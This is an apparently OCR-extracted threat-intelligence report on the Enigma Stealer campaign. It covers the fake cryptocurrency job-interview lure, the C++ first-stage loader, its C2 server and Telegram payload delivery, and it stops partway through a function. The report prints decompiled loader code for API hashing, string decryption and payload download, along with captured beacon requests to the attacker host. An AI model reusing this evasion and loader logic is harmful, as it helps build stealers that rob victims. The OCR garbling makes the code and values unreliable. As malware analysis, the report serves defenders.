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Figure 1. The Attack kill chain used by Enigma Stealer operator (click the image for a larger version)
We recently found an active campaign that uses a fake employment pretext targeting Eastern
Europeans in the cryptocurrency industry to install an information stealer. In this campaign, the
suspected Russian threat actors use several highly obfuscated and under-development custom
loaders to infect those involved in the cryptocurrency industry with the Enigma Stealer (detected as
TrojanSpy.MSIL.ENIGMASTEALER.YXDBC), a modified version of the Stealerium information
stealer. In addition to these loaders, the attacker also exploits CVE-2015-2291, an Intel driver
vulnerability, to load a malicious driver designed to reduce the token integrity of Microsoft Defender.

Stealerium, the original information stealer which serves as the base for Enigma Stealer, is an open-
source project written in C# and markets itself as a stealer, clipper, and keylogger with logging
capabilities using the Telegram API. Security teams and individual users are advised to continuously
update the security solutions of their systems and remain vigilant against threat actors who perform
social engineering via job opportunity or salary increase-related lures.

Attack Chain
Using fake cryptocurrency interviews to lure victims

The infection chain starts with a malicious RAR archive — in this instance, contract.rar (SHA256:
658725fb5e75ebbcb03bc46d44f048a0f145367eff66¢c8a1a9dc84eef777a9cc) — which is distributed
to victims via phishing attempts or through social media. The archive contains the files, Interview
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questions.txt, and Interview conditions.word.exe.

& Interview conditions.word.exe
Interview questions.txt

archive

_Figure 2. The files found inside the malicious RAR

These files set up the pretext for a fake cryptocurrency role or job opening. One file, Interview
questions.txt (SHA256: 3a1eb6fabf45d18869de4ffd773ae82949ef80f89105e5f96505de810653ed73)
contains sample interview questions written in Cyrillic. This serves to further legitimize the package
in the eyes of the victim and draw attention away from the malicious binary.

MpuMepHbIe BONPOCH! K MHTEPBLIO:

PacckaxwuTe o cebe?

Kak npuwnum B Mip KprnTosanoT?

YTo Takoe KpUNTOBAMOTA U Ha HeM OHa AEpPXUTCA?

Kakue ecTk puckun npu paboTe ¢ KPUNTOBANKOTON?

MoweHH4ecTBO B KpunToBaNioTE?

Kak W3MeHABTCA KypC KpUNTOBaNkoTE?

B Kakylo KpUNTOBANIOTHI NOCOBETYETE BMOXKMTLCA YMTATENAM W30aHWA?
[Ae nydlwe Aep»aTh KPUNTOBANOTY?

Cambiit nonynApHblia P2P-cepeuc Binance

PacckaxuTe Baly UCTOPUKD 3aKPENNEHUA B MUPE KPUNTOBAMKOT

Kakue MoxeTe Aath COBETHI HAYUHALWMM Tpeiinepam?

OCHOBHLIE CMNOXHOCTK Ha MepBLIX 3Tanax TOProB/w, BaxHsle npoGnems!
3aKoHb! PErYNNPYIOWWME KPUNTOBANKOTY

Kakvmu nporpamMamu, caiTamu none3yetech?

C KaKkux BNoxeHuit HauvHaTh paboTty?

MprBnuzHi 3anKTaHHA [0 iHTepe'o:

PoakaxiTe npo cebe?

Ak NpWIALLNK y CBIT KpUNTOBaMOT?

LLlo Take KpUNTOBaNKOTA | HA YOMY BOHA TPMMAETLCA?
Aki e pravku npu poboTi 3 KPUNTOBANMKITOK?
LWaxpaicTeo B KpUNTOBANKOTI?

AK 3MIHIOETLCA KYPC KPUNTOBANIOTH?

Sample interview questions:

Tell us about yourself?

How did you get into the world of cryptocurrencies?

What is cryptocurrency and what is it based on?

What are the risks of working with cryptocurrencies?

Is there fraud in cryptocurrency?

How does the cryptocurrency rate change?

What cryptocurrency would you recommend to the readers of the publication?
Where is the best place to keep cryptocurrency?

The most popular P2P service Binance

Tell us your story of getting a foothold in the cryptocurrency world
What advice can you give to novice traders?

Main difficulties at the first stages of trading, important issues
Laws regulating cryptocurrencies

What programs and websites do you use?

What investments should | start with?

Sample questions for the interview:

Tell us about yourself?

How did you enter the world of cryptocurrencies?
What is cryptocurrency and what is it based on?
What are the risks of working with cryptocurrencies?
What is cryptocurrency fraud?

How does the cryptocurrency rate change?

Figure 3. A machine translation of Interview questions.txt

The other file Interview conditions.word.exe (SHA256:
03b9d7296b01e8f3fb3d12c4d80fe8a1bb0ab2fd76f33c5ce11b40729b75fb23) contains the first stage
Enigma loader. This file, which also masquerades as a legitimate word document, is designed to lure
unsuspecting victims into executing the loader. Once executed, the Enigma loader begins the
registration and downloading of the second-stage payload.

Analysis of the Enigma infrastructure

Enigma uses two servers in its operation. The first utilizes Telegram for delivering payloads, sending
commands, and receiving the payload heartbeat. The second server 193[.]56[.]146[.]29 is used for
DevOps and logging purposes. At each stage the payload sends its execution log to the logging
server. Since this malware is under continuous development the attacker potentially uses the logging
server to improve malware performance. We have also identified the Amadey C2 panel on
193[.]56[.]1146[.]29 which has only one sample (95b4de74daadf79f0e0eef7735ce80bc)
communicating with it.
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O B 193.56.146.29/550knW/Login.php

Figure 4. Amadey C&C login page
Amadey is a popular botnet that is sold on Russian speaking forums, but its source code has been
leaked online. Amadey offers threat actors polling and reconnaissance services.
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System l Linux deniska 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 I

Build Date Jul'7 m

Server APl FPM/FastCGl

Virtual Directory Support disabled

Configuration File (php.ini) Path Jetc/php/7.4/fpm

Loaded Configuration File Jetc/php/7.4/fpm/php.ini

Scan this dir for additional .ini files Jetc/php/7.4/fpmjconf.d

Additional .ini files parsed Jetc/php/7.4/fpmjconf.d/10-mysqind.ini, /etc/php/7.4/fpm/conf.d/10-opcache.ini, fetc/php/7.4/fpm

Jconf.df10-pdo.ini, fetc/php/7.4/fpm/conf.d/20-calendar.ini, /etc/php/7.4/fpmjconf.d/20-ctype.ini,
Jetc/php/7.4/fpmjconf.d/20-exif.ini. fetc/php/7.4/fpm/conf.d/20-ffi.ini. /etc/php/7.4/fpm/conf.d/20-
fileinfo.ini, /etc/php/7.4/fpm/conf.d/20-ftp.ini, fetc/php/7.4/fpm/conf.df20-gettext.ini, fetc/php/7.4/fpm
Jconf.dj20-iconv.ini, fetc/phpy7.4/fpm/conf.d/20-json.ini, fetc/php/7.4/fpmjconf.d/20-mysqli.ini,
Jetc/php/7.4/fpmjconf.d/20-pdo_mysql.ini, Jetc/php/7.4/fpm/conf.d/20-phar.ini, jetc/php/7.4/fpm
Jeonf.df20-posix.ini, /etc/php/7.4/fpmiconf.d/20-readline.ini, /etc/php/7.4/fpm/cenf.d/20-shmop.ini,
Jetc/php/7.4/fpmiconf.d/20-sockets.ini. /etc/php/7.4/fpm/conf.d/20-sysvmsg.ini. /etc/php/7.4/fpm
Jconf.df20-sysvsem.ini, jetc/php/7.4/fpmjconf.dj20-sysvshm.ini, jetc/php/7.4/fpmjconf.d/20-

tokenizer.ini
PHP API 20190902
PHP Extension 20190902
Zend Extension 320190902
Zend Extension Build API320190902,NTS
PHP Extension Build API20190902,NTS
Debug Build no
Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled
Zend Multibyte Support disabled
IPv6 Support enabled
DTrace Support available, disabled

ed PHP Streams | https, ftos. compress.zlib. pho. file. alob, data, http. fip, phar
Figure 5. The exposed info.php page of the threat actors’ command-and-control (C&C) infrastructure

This server has a unique Linux distribution only referenced in Russian Linux forums.

date
date/time support enabled
timelib version 2018.04
"Olson" Timezone Database Version 0.system
Timezone Database internal
Default timezone

Figure 6. The default time zone of the C&C server
The default time zone on this server is set to Europe/Moscow. This server registers a newly infected
host when Interview conditions.word.exe is executed by the victim.

Stage 1: EnigmaDownloader_s001

MD5 1693D0A858B8FF3B83852C 185880E459

SHA-1 5F1536F573D9BFEF21A4E15273B5A9852D3D81F1

SHA- 03B9D7296B01E8F3FB3D12C4D80FE8A1BBOAB2FD76F33C5CE11B40729B75FB23
256

File size 367.00 KB (375808 bytes)

The initial stage of Enigma, Interview conditions.word.exe, is a downloader written in C++. Its
primary objective is to download, deobfuscate, decompress, and launch the secondary stage
payload. The malware incorporates multiple tactics to avoid detection and complicate reverse
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engineering, such as APl hashing, string encryption, and irrelevant code.

Before delving into the analysis of "EnigmaDownloader_s001," let's first examine how the malware
decrypts strings and resolves hashed Windows APls. By understanding this, we can implement an
automated system to help us retrieve encrypted data and streamline the analysis process. Please be
advised that to enhance code legibility, we have substituted all hashes with the corresponding
function names.

EnigmaDownloader_s001 APl Hashing:

API hashing is a technique employed by malware to conceal the utilization of potentially suspicious
APIs (functions) from static detection. This technique helps the malware disguise its activities and
evade detection.

It involves replacing the human-readable names of functions (such as "CreateMutexW") with a hash
value, such as 0xOFD43765A. The hash value is then used in the code to call the corresponding API
function, rather than using the human-readable name. The purpose of this technique is to make the

process of understanding the code more time-consuming and difficult.

For APl Hashing the EnigmaDownloader_s001 uses the following custom MurmurHash:
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__inté4 _ fastcall mw_murmur hash (char *function name, unsigned int FunctionName length)
H

unsigned int v3; // r9d

int v4; // edx

int v5; /f rlod

char *v&; // rll

int ¥7; ff r9d

_ int64 i; // r8

unsigned int seed; // rlod

v3 = FunctionWame length >> 2;
v4 = 0;
w3 = 0x4A03BDFA;
vEé = &function name[4 * v3];
vF = —-w3;
] for (i= v7;
i;
v5 = 5 * (_ROL4_ ((0x1B373593 * _ROL4 (0OxCCO9E2D51 * *(_DWORD *)&vG[4 * i++],

- 15)) *~ v5, 13) - 0x52250EC) )
E o
}
switch ( FunctionName length & 2 )
;P
case L1z
goto LABEL 8;
case Zu:
LABEL 7:
v4 *= (unsigned __ intB)v6[1] << 8;
LABEL 8:
v5 *= 0x1B87359%3 * ROL4 (0xCCSEZ2D51 * (v4 * (unsigned  intB8)*w&), 15);
break;
case
v4 = (unsigned intB)ve[2] << 1¢€;
goto LABEL 7;
}
sesed = FunctionName length * w5;
return (0xC2B2AE3S5 * ((0x85EBCREE * (se=ed ™ HIWORD (se=d))) * ((0xBS5EBCRAEE * (seed *
HIWORD (seed))) >> 12))) * ((0xC2B2RE3S * ((0x85EBCREE * (seed * HIWORD(seed))) * ((
JxE5EBCAEE * (seed * HIWORD(sesed))) >> 13))) >> 1€);
-1
Figure 7. Custom implementation of murmur hash
The malware employs dynamic API resolving to conceal its API imports and make static analysis
more difficult. This technique involves storing the names or hashes of the APIs needed, then

importing them dynamically at runtime.

The Windows API offers LoadLibrary and GetProcAddress functions to facilitate this. LoadLibrary
accepts the name of a DLL and returns a handle, which is then passed to GetProcAddress along
with a function name to obtain a pointer to that function. To further evade detection, the malware
author even implemented their own custom version of GetProcAddress to retrieve the address of
functions such as LoadLibrary and others. The use of standard methods like GetProcAddress and
LoadLibrary might raise a red flag, so the custom implementation helps to avoid detection.
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*(_OWORD *)str_kernel32_dll = enc_str_kernel32_dl11;

w33 = exdleads;
W52 = @x53805200590012i64;
count_1 = @;
ptr_kernel32 d11 = str_kernel32 dl1;
do
{
key 1 = count 1 + @x34 * (1 - count_1 / @x34u);

Hcount_1j;
*ptr_kernel32 dll++ ~= key_1;

while ( count_1 < 14 });
Peb = NtCurrentPeb();
if ( !Peb }

LABEL_7:
qword_14883B0F3 = @i64;
return 8ig4;

3
Flink = Peb->Ldr-»InMemoryOrderModuleList.Flink;
w5 = Flink;
while [ lstrempiMm((LPCWSTR)}Flink[5].Flink, str_kernel32_d11) )}
{

v5 = v5-»Flink;

Flink = wvS-»Flink;

if ( v5 == Peb-:Ldr-:InMemoryOrderModulelist.Flink }

goto LABEL_7;

}

kernel32 dll = (_ int64)Flink[2].Flink;
gqword_14883BOF8 = kernel32 dll;
if { 'kernel32_dl11 )
return 8i64;
g ploadLibrary& = mw_GetExportAddressByHash(kernel32_dl1, @x7784C80C);// LoadlLibraryA
if ( !g ploadLibrarya }
return 8ig4;
g ploadLibraryW = (_ inte4 ( fastcall *)(_ QWORD))mw_GetExportAddressByHash({kernel32 dll, @x1FB9EB27);// LoadLibraryW
if ( !g ploadLibraryW )}
return @ie4;

Figure 8. Dynamic API loading

The following is a list of API hash values along with the names of functions that have been used in
this sample (Please note that the hash value might be different in other variants since the malware
author changed some of the constant values in the hash generator function).
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| OXE04A219 : kernel32_HeapCreate
O0xA1ADA36 : kernel32_lIstrcpyA
0x5097BB4 : kernel32_RegOpenKeyExA
0x750EFAB : kernel32_GetLastError
0x4CBO39A : kernel32_RegQueryValueExA
0xAAF4498 : kernel32_RegCloseKey
OxFAD2A34 : kernel32_IstrcmpiA
0x11A198F : combase CoCreateGuid
OxXE94A809 : kernel32_RtlZeroMemory
Ox6A6A154 : kernel32_lstrcatA
0x8150471 : ntdll_RtlAllocateHeap
0x4CF4539 : user32_wvsprintfW
0x663555F : kernel32_WideCharToMultiByte
0x59CADCE : ntdll_RtIFreeHeap
0x1CE543C : cabinet_CloseDecompressor
0x11CFOA2 : wininet_InternetGetConnectedState
0x675C7B2 : kernel32_Sleep
0xDC75FF2 : wininet_InternetCheckConnectionA
0x5CC35B1 : wininet_InternetSetOptionA
0xF9E8859 : wininet_InternetOpenA
O0x6FO05A9E : wininet_InternetConnectA
O0xBAEECD?9 : wininet_HttpOpenRequestA
0xAD9AT77C : wininet_HttpSendRequestA
0x835FA71 : wininet_HttpQuerylnfoA
0xBFA9532 : wininet_InternetReadFile
0x99D029C : wininet_InternetCloseHandle
0x8DABD38 : kernel32_GetFileAttributesW
0x44E1C18 : kernel32_DeleteFileW
0xAB69596 : kernel32_CreateFileW
0x2CF38A1 : kernel32_WriteFile
0x1CE43DE : kernel32_CloseHandle
0x548C5A4 : Rpcrt4_RpcStringBindingComposeW
0x7BOF79F : Rpcrt4_RpcBindingFromStringBindingW
0x69A2B62 : Rpcrt4_RpcStringFreeW
0xD2CD112 : advapi32_CreateWellKnownSid
OXEFBC2ES9 : kernel32_LocalFree
0x60EDBO1 : Rpcrt4_RpcBindingFree
0x7A7DAAO : Rpcrt4_RpcAsynclnitializeHandle
0xB3F16FA : kernel32_CreateEventW
0x1C23B4F : Rpcrt4_NdrAsyncClientCall
0x8C1F37 : kernel32_WaitForSingleObject
0x7831640 : Rpcrt4_RpcRaiseException
O0xF2FCCFE : Rpcrt4_RpcAsyncCompleteCall
0x816F545 : kernel32_SetLastError
OxFBE2D99 : oleaut32_SysAllocString
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0x393ACB : oleaut32_SysFreeString

OxCOFEF5F : kernel32_ExpandEnvironmentStringsW
0x74D51D3 : kernel32_CreateProcessW
OxCDE9EC27 : wininet_HttpWebSocketClose
0x80C8449 : kernel32_TerminateProcess
0x418B4ETE : wininet_AppCacheCheckManifest
O0x44EG65EB : kernel32_WaitForDebugEvent
0x81C3F46 : kernel32_ContinueDebugEvent
0x1FB9EB2 : kernel32_LoadLibraryW

0x1071970 : kernel32_GetProcAddress

O0xDAEGC9B : combase_ColnitializeEx

0xFD43765 : kernel32_CreateMutexW

0x73861029 : kernel32_BasepSetFileEncryptionCompression
O0xA3FE987 : advapi32_RegDeleteKeyW

0x1CA6703 : advapi32_RegCreateKeyA

0x24EBD39 : kernel32_lIstrlenA

0x69F38C6 : kernel32_RegSetValueExA
0xC2D33DC : ntdll_RtlGetVersion

0xBDS5DO03A : kernel32_GetNativeSysteminfo
0x10BEDDGO : wininet_CreateMD5SSOHash

To resolve the API hash, the malware first passes two arguments to the "mw_resolveAPI" function.
The first argument is the specific library name index number (in this case O0xA = Kernel32.dll), while
the second argument is the export function name hashed value (which, in this example, is
0xFD43765A)

The mw_resolveAPI function first finds the specific index, jumps to it, and decrypts the corresponding
library name value as shown in the bottom image of Figure 9.

pCreateMutexld = ( int64 [ fastecall *}{ QWORD, inte4, intl28 *))mw_resolveAPI(@xAu, BxFDI3765A);

mutex = pCreateMutexW(MNULL, 1i64, &mutex_lpName);
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HANDLE _ fastcall mw_resolwveAPI(unsigned int argument_index, unsigned int APTIHASH)

1

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

if ( argument_index > 16 )}

{

42 = argument_index - 17;
if ( Iwa2
{

&string2[1];

vis = @3

*(_OWORD *)&String2[1] = xmmword_148831FF8;// Decrypted string: WinInet.dll
LOWORD({v32) = B4;

vEl = @x3FPB5208518058164;

w75 + 52 * (1 - w75 J 0x34u);

while ( v75 < 13 ); _Figure 9.

goto jump_lstrcpyl ;

w7l = &String2[1];
V72 = @;
*(_OWORD *)}&5tring2[1] = xmmword_1480321608;// Decrypted string: userenv.dll
LOWORD(vE2) = 64;
vBl = 8x3FPe52088510058164;
do
1
w73
+H72;
7L+ A= w733

w72 + 52 * (1 - w72 f @x34u);

2

[ ]

while { v72 < 13 };
goto jump_lstrcpyld_;

Resolving API hashes
The following is the list of decrypted library names:

e Winlnet.dll

o userenv.dll

o psapi.dll

e netapi32.dll

e mpr.dll

o wisapi32.dll

e api-ms-win-core-processthreads-11-1-0.dll
e ntoskrnl.exe

e Rpcrt4.dll

o User32.dll

e api-ms-win-core-com-I1-1-0.dll
o Cabinet.dll

o shell32.dll

e OleAut32.dll

e Ole32.dll
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ntdll.dll

mscoree.dll
kernel32.dll
advapi32.dll

The library name and export function name hashed value is then passed to
GetExportAddressByHash, which is responsible for opening the handle to the library, creating a hash
for each export function name, and comparing it with the passed argument. Once the match is found,

the malware returns the function address and calls it.

J
LABEL_17:
/17 = (const WCHAR *)&String2[1];
jump_lstrcpyW:
lstrcpyW(Stringl, v17);
LABEL_79:
LibraryW = g_ploadLibraryW(Stringl);
78 = (void *)mw_GetExportAddressByHash(Libraryl, APIHASH);
if ( v78 )
mw_SendMessage_C2((__int64)L"GetExportAddress hash not found: %x", APIHASH);
return v78;
}

Figure 10. Retrieving the address of an API
The code snippet in Figure 11 demonstrates how mw_GetExportAddressByHash resolves the given
API hash and retrieves the address of an exported function. The techniques used to decrypt strings

and resolve API hashes in both the stage 1 and stage 2 payloads are identical.
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| inte4 _ fastcall mw_GetExportAddressByHash(__int64 pBaseAddr, int API_HASH)
1
_ inte4 wv2; /) rbx

DWORD funcname_count; // esi

IMAGE_EXPORT DIRECTORY *pExportDiraddr; // rl4
WORD *pHintsTable; // ri5

DWORD *pFuncNameTable; // rbp

unsigned int FunctionName_length; // edx

char *pFunctionName; // rcx

char *i; // rax

v2 = @ig4;
funcname_count = @;
pExportDirAddr = {IMAGE_EXPORT DIRECTORY *)(pBaseAddr
+ *{unsigned int *}(*{int *)(pBaseAddr + @x3C) + pBaseAddr + @x88));

pHintsTable = (WORD *})(pBaseAddr + pExportDirAddr->AddressOfNameOrdinals);
pFuncNameTable = (DWORD *)({pBasefAddr + pExportDirAddr-»>AddressOfNames);
if ( !pExportDirAddr->NumberOfNames )

return v2;
// Iterate through exported functions, calculate their hashes and check if any of them match API_HASH
while ( 1 )
1

FuncticnName_length = @3

pFunctionName = (char *)({pBasefAddr + *pFuncNameTable};

for ( i = pFunctionName; *i; ++FunctionName_length )
++i;

// Calculate hash for this exported function

if { (unsigned int)mw_murmur_hash({pFuncticnName, FunctionName_ length) == API_HASH )
break;

+Hfuncname_count;
HpFunclameTable;
if ( funcname_count »= pExportDiriddr->NumberOfNames )
return v2;
}

return pBaseAddr
+ *{unsigned int *)(pBaseAddr + pExportDirAddr-»AddressOfFunctions + 4i64 * pHintsTable[funcname_count]};

}
Figure 11. Custom implementation of GetProcAddress

With an understanding of this process, we can then proceed with our analysis.

Upon execution, the malware creates the mutual exclusion object (mutex) to mark its presence in the
system and retrieves the MachineGuid of the infected system from the
SOFTWARE\Microsoft\Cryptography\MachineGuid registry key, which it uses as a unique identifier to
register the system with its C&C server and track its infection.
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| inte4 mw_main()

{

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

if { !{unsigned int)mw_MachineGuid() )
return @isd;

p_mutex lpName = &mutex lpName;

mutex_lpHame = xmmword_ 148834400 ;

vl = 8;

w76 = xmmword_1468344160;

// Decrypted String: Global\1553819C-A4F5-4238-9C6(-65FBAEQGEBBS

w77 = xmmword 1486345208
w78 = xmmword_l48@34A38;
w79 = wxmmword_ 146834448 ;
vER = 8x64005708200023164;
do
1
vZ = 55 * (vl f &x37u);
v3 = viH;

*(_WORD *}p mutex_lpName "= v3 - v2 + 57;
p_mutex_lpName = (_ intl28 *}({({char *)p mutex_lpName + 2};

while { vl < 44 };
pCreateMutexid = ( inte4 ( fastcall *)}({ QWORD, _ inte4,  intl28 *))mw_resolveAPI(@xAu, kernel32 CreateMutexW);
mutex = pCreateMutexd(MULL, 1i64, &mutex lpName};
if { mutex )
{
plaitForsingleObject = (unsigned int (_ fastcall *)(_ int64, _QWORD))mw_resolveAPI(
Bhu,
kernel32 WaitForSingleObject);
if ( pWaitForSingleObject(mutex, @i64) '= WAIT TIMEOUT )

pReleaseMutex = (void (_ fastcall *){_ inte4))mw_resolveAPI(OxAu, kernel32_ReleaseMutex);
pReleaseMutex(mutex);

vll = (void {_ fastcall *}{_ int64))mw_resolveAPI{@xAu, kernel32_CloseHandle);
v1l({mutex);

Figure 12. Constructing a unique system identifier and creating a mutex
It then deletes the HKCU\SOFTWARE\Intel registry key and recreates it with two values, HWID and
ID, as shown in Figure 13.

Time ... Process Name PID Operation Path

12:20.... EE Interview condit... 5256 P RegOpenKey HKCU

12:20:... EE Interview condtt... 5256 ] RegQueryKey HKCU

12:20.... €€ Interview condt... 5256 [Bj RegOpenKey HKCU\Software\Intel
12:20:... & Interview condit... 5256 Hf RegDeleteKey HKCU\SOFTWARE\Intel
12:20:... EE Interview condtt... 5256 [Rf RegCloseKey HKCU\SOFTWARE\Intel
12:20:... &E Interview condtt... 5256 HJ RegQueryKey HKCU

12:20.... ﬁh«m'iew condt... 5256 HEE RegCreateKey HKCU\Software\Intel
12:20:... EE Interview condit... 5256 Fif RegSetValue HKCUNSOFTWARE\Intel\ID
12:20:... EE Interview condt... 5256 [ RegSetValue HKCUNSOFTWARENIntel \HWID
12:20-... & Interview condit... 5256 EHegGoseKey HKCU\SOFTWARE\Intel
WARE\Intel

Name Type Data

.?E] (Default) REG_SZ (value not set)

24§ HWID REG_BINARY R —

%I | REG_BINARY

Figure 13. Recreating HKCU\SOFTWARE\Intel
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It then collects information about the .NET Framework Setup on the infected system and sends it to
its C&C server as shown in Figure 14.

pRtlZeroMemory = (void (_ fastcall *)(char *, _ int64))mw_resolveAPI({@xCu, ntdll_RtlZeroMemory);
pRtlZeroMemory(v82, 276i64);

pRtla@etVersion = (void (_ fastcall *}(char *))mw_resolveAPI(8xCu, ntdll RtlGetVersion);
pRtlGetVersion(vB2);

pRtlZeroMemory_1 = (wvoid (_ fastcall *){_ intls *, _ int64))mw_resolveAPI(8xCu, ntdll_RtlZeroMemory);

pRtlZeroMemory 1(v81, 48i64);

paetNativeSystemInfo = (woid (_ fastcall *)(__intle *))mw_resolveAPI({OxAu, kernel32_ GetNativeSystemInfo);
paetNativeSystemInfo(vil);
if ( v81[8] == 9 || (v45 = 86, vBi[@] == &) )
vAS = 643
pRtlZeroMemory 2 = (void (_ fastcall *){char *,  int64))mw_resolveAPI{®xCu, kernel32 RtlZeroMemory);
pRtlZeroMemory_2(var_c2_message, 4896i64);
str_dotnet_wersion = mw_GetDotNetVersion();
LODWORD( w59} = v45;
LODWORD({w58) = vB5;
wvsprintfi_wrapper(
(__inte4)}var_c2 message,
(__intB4)}L"Loader start. ver: ¥d.%d.¥d; x¥d. .Net ver: ¥s“,
v83,
ved,
vG6E,
vea,
str_dotnet_version);
mw_SendMessage C2(({__ inté&4)var_c2 message);

Figure 14. Constructing first debug message

GET /errlog@@2/gate.php?hwid=
' . .©9&filename=main.cpp&nStr=1&desc=Loader¥2@start.¥20ver:%2010.0.10240;%20x64.
%20.Net¥%2@ver:%¥202.03.03.54.0%208client4.0%2efull4.6 HTTP/1.1
User-Agent: AE632AE3-FACB-4(C1B-8986-FB65A13B01B4
Host: 193.56.146.29
Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.18.@

Date: Mon, 23 Jan 2823 22:31:15 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive

c
add success

]

Figure 15. An example of the first debug message

There are two C&C servers that were used in this attack chain. The first one ,793[.]56/.]146].]29, is
used to send program execution DEBUG and Telegram to deliver payloads and send commands.

To download the next stage payload, the malware first sends a request to the attacker-controlled
Telegram channel https://apil.Jtelegram[.Jorg/bot{token}/getFile to obtain the file_path. This approach
allows the attacker to continuously update and eliminates reliance on fixed file names.
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InternstConnectd( cc0004, api.telegram.org, 443, , , 3, 0, 0)
LdrLoadDll{ 1, 0, wininet.dll, 2£1d0000 )
HttpOpenRequesta({ cc0008, GET,

/bot NN

dboiLLP11bZZ4RAswNARTg2D185FKb000ckqQOtBE, , , 0, 84884600, 0 )

[C2 Response]
HTTP/1.1 200 CK
Server: nginx/1.18.0
Date: Mon, 23 Jan 2023 22:31:17 GMT
Content-Type: application/json
Content-Length: 196
Connection: keep-aliwve
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access—Control-Allow-Origin: *
Access—Control-Allow-Methods: GET, POST, OPTIONS
Access—Control-Expose—-Headers: Content-Length, Content-Type, Date, Server, Connection

{

"ok":true, "result": |
"file id":"BQRACAgORAXKBAAMRYSbfczprWE3oFJdbo]LLPl1bAZ4AASwWNARTg2D135FbOo0ockgQQtBA",
"file unigque id":"AgADzAOAAMDYOVI",
"file size":184094,
"file path":"documents/file 17.pack"
}
}

Figure 16. Payload “file_path” request from Telegram
Note that in this case, the next stage payload was file_17.pack. However, this file and other stage
names were changed multiple times during our investigation.

Upon obtaining the file_path, the malware then sends a request to download the next stage binary
file (shown in Figure 17)

fgetFile?file id=BOACAgQAAxkKBAAMRYBbfczprWP3oFJ

LdrLoadDll( 1, 0, wininet.dll, 2£f1d0000 )

HttpOpenRequesth ( cc0008, GET,

ffile/bot. . ¥ /documents/file 17.pack?file
id=BOACAgGOAAxkBAAMRYSbfczprWP3oFJdbojLLPl1bZZ4ARswNARTg2D1S5Kb00ockgqQQLtBA, , , O,
80800000, 0 )

Figure 17. Payload download request from Telegram
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xmmword_148834AC8;

xmuword 148834480 ;
WORD *)&v79 = @x4948060431151233i64;
78 = xmmword_148@34AD0;

vS6 = 55 * (vS5 / @x37u);

vs7 = ;

*(_BYTE *)v 57 - vS6 + 57;
vS4 = (_ int128 *)((char *)vs4 + 1);

4

54 "= v

while { vs5 < 72 );
VS8 = 8;

lpFileName = &Telegram_Token;
Tel
W7l = xmmword_148834A68;
w72 = xmmword_148@34A78;
do

vEl = 55 * (V58 / @x37u);
VBL = uSE+;
*(_BYTE *)1pFileName "= v6l - V6@ + 8x39;
1pFileName = {_ int128 *}((char *}1pFileName + 1};
}
while ( v58 < @x30 );
if ( !(unsigned int)mw_Download_Decompress_File(
(__int64)&Telegram_Token,
(_ int64)&var_c2 request_data,

(__inte4)vss) ) s

var_c2_request_dats = xmmword_148834AAB; // Decrypted data: Telegram getFile

gram_Token = xmmword_148834A58; // Decrypted Data: Telegram Token

- file_id

// Argument 1: rcx G008000008014BA36 S8

// Argument 2: rdx @0@898PBAR14EATE "BQACAZQAAXKBAAMRYEhFczprilP3oFIdbojLLPl1hIZ4AASWNAATZ2D]S5KhOBOCkqQOERA™
S/ Argument 3: r8 0000ERERBRL4DE4® L"C:\\ProgramData\\updateTask.dll™

{
mw_SendMessage_C2((__int64)L"GetTgRawFileById failed");
return @i64;

}

mw_SendMessage_C2((__int64)L"bot getted");

Figure 18. The code responsible for decrypting the next stage payload file_id and Telegram token
If the file's download, deobfuscation, and decompression are successful, the malware sends the

message "bot getted" to the debug server.

GET /errlog@@2/gate.php?hwid=!

&filename=main.cpp&nStr=1&desc=bot%20getted HTTP/1.1
User-Agent: AE632AE3-FACB-4(C1B6-8906-FB65A1380184

Host: 193.56.146.29
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/1.18.0

Date: Mon, 23 Jan 2023 22:31:18 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked
Connection: keep-alive

C
add success

e

Figure 19. Successful payload retrieval debug message

To decompress the payload, the malware uses Microsoft Cabinet's Compressapi with the
compression algorithm ("COMPRESS_RAW | COMPRESS_ALGORITHM_LZMS"). The code
snippet in Figure 20 demonstrates how the malware downloads, deobfuscates, and decompresses

file_17.pack (UpdateTask.dll).

_CEmm—

- BQACAZQAAxKBAAMRYBbTczpriP3oF JdbojLLPL1bZZ4AAswNAATg2D1S5KbOBoCkqQQEEA

o
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| int64 _ fastcall mw_Download_Decompress_File(
_ int64 argl TelegramToken,

__int64 arg? Telegram file id,

__inteE4 a3 _lpFileName})

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

var_compressedFile = (unsigned int *)mw_download file Telegram(
argl_TelegramToken,
arg2_Telegram_file_id,
&CompressedFile_size);
if ( (unsigned int)mw_Cabinet_Decompress_File(
var_compressedFile,
CompressedFile size,
&decompress_buffer,
&decompress_buffer_size) )

peetFileAttributesi = (_ inted4 ( fastcall *)(_ inte4))mw_resolveAPI(@xAu, kernel32 getFileAttributesW);
ve = poetFileAttributesW(a3_lpFileName};
if (w6 == -1)

pGetlastError = (void (*)(void))mw_resolveAPI(@xAu, kernel32_GetlLastError);

}
else if ( (v6 & Bx18) == 8 )}

pheleteFilel = (woid (_ fastcall *)({_ int64))mw_resolveAPI(@xAu, kernel32 DeleteFileW);
pDeleteFilel(a3_lpFileName);

pCreateFileW = {_ inte4 (  fastcall *)(__inte4, _ inte4, _QWORD, _QWORD, int, int, _QWORD))mw_resolveAPI(

exhu,

kernel32 CreateFileW);
vl@ = pCreateFileW(a3_lpFileName, @x4P000000i64, 0i64, #ic4, 2, 123, 0i64);
if { {unsigned _ inte4}({v1® - 1) > @xFFFFFFFFFFFFFFFDui6d )

mw_SendMessage C2(({_ intB4)L"File create failed"};

}

glsze

1
pWriteFile = (unsigned int (_ fastcall *)(_ inte4, _ int64, QWORD, char *, QWORD))mw_resolveAPI(
Bxhu,
kernel32_WriteFile);
if ( pWriteFile(v1®, decompress_buffer, decompress_buffer_size, v15, #i&64} )

pCleseHandle = (unsigned int {_ fastcall *){_ int64)})mw_resolveAPI{@xAu, kernel32 CloseHandle};
if { pCloseHandle(vle} }

return 1i64;
mw_SendMessage C2((_ int64)L"pCloseHandle failed");

}

elze

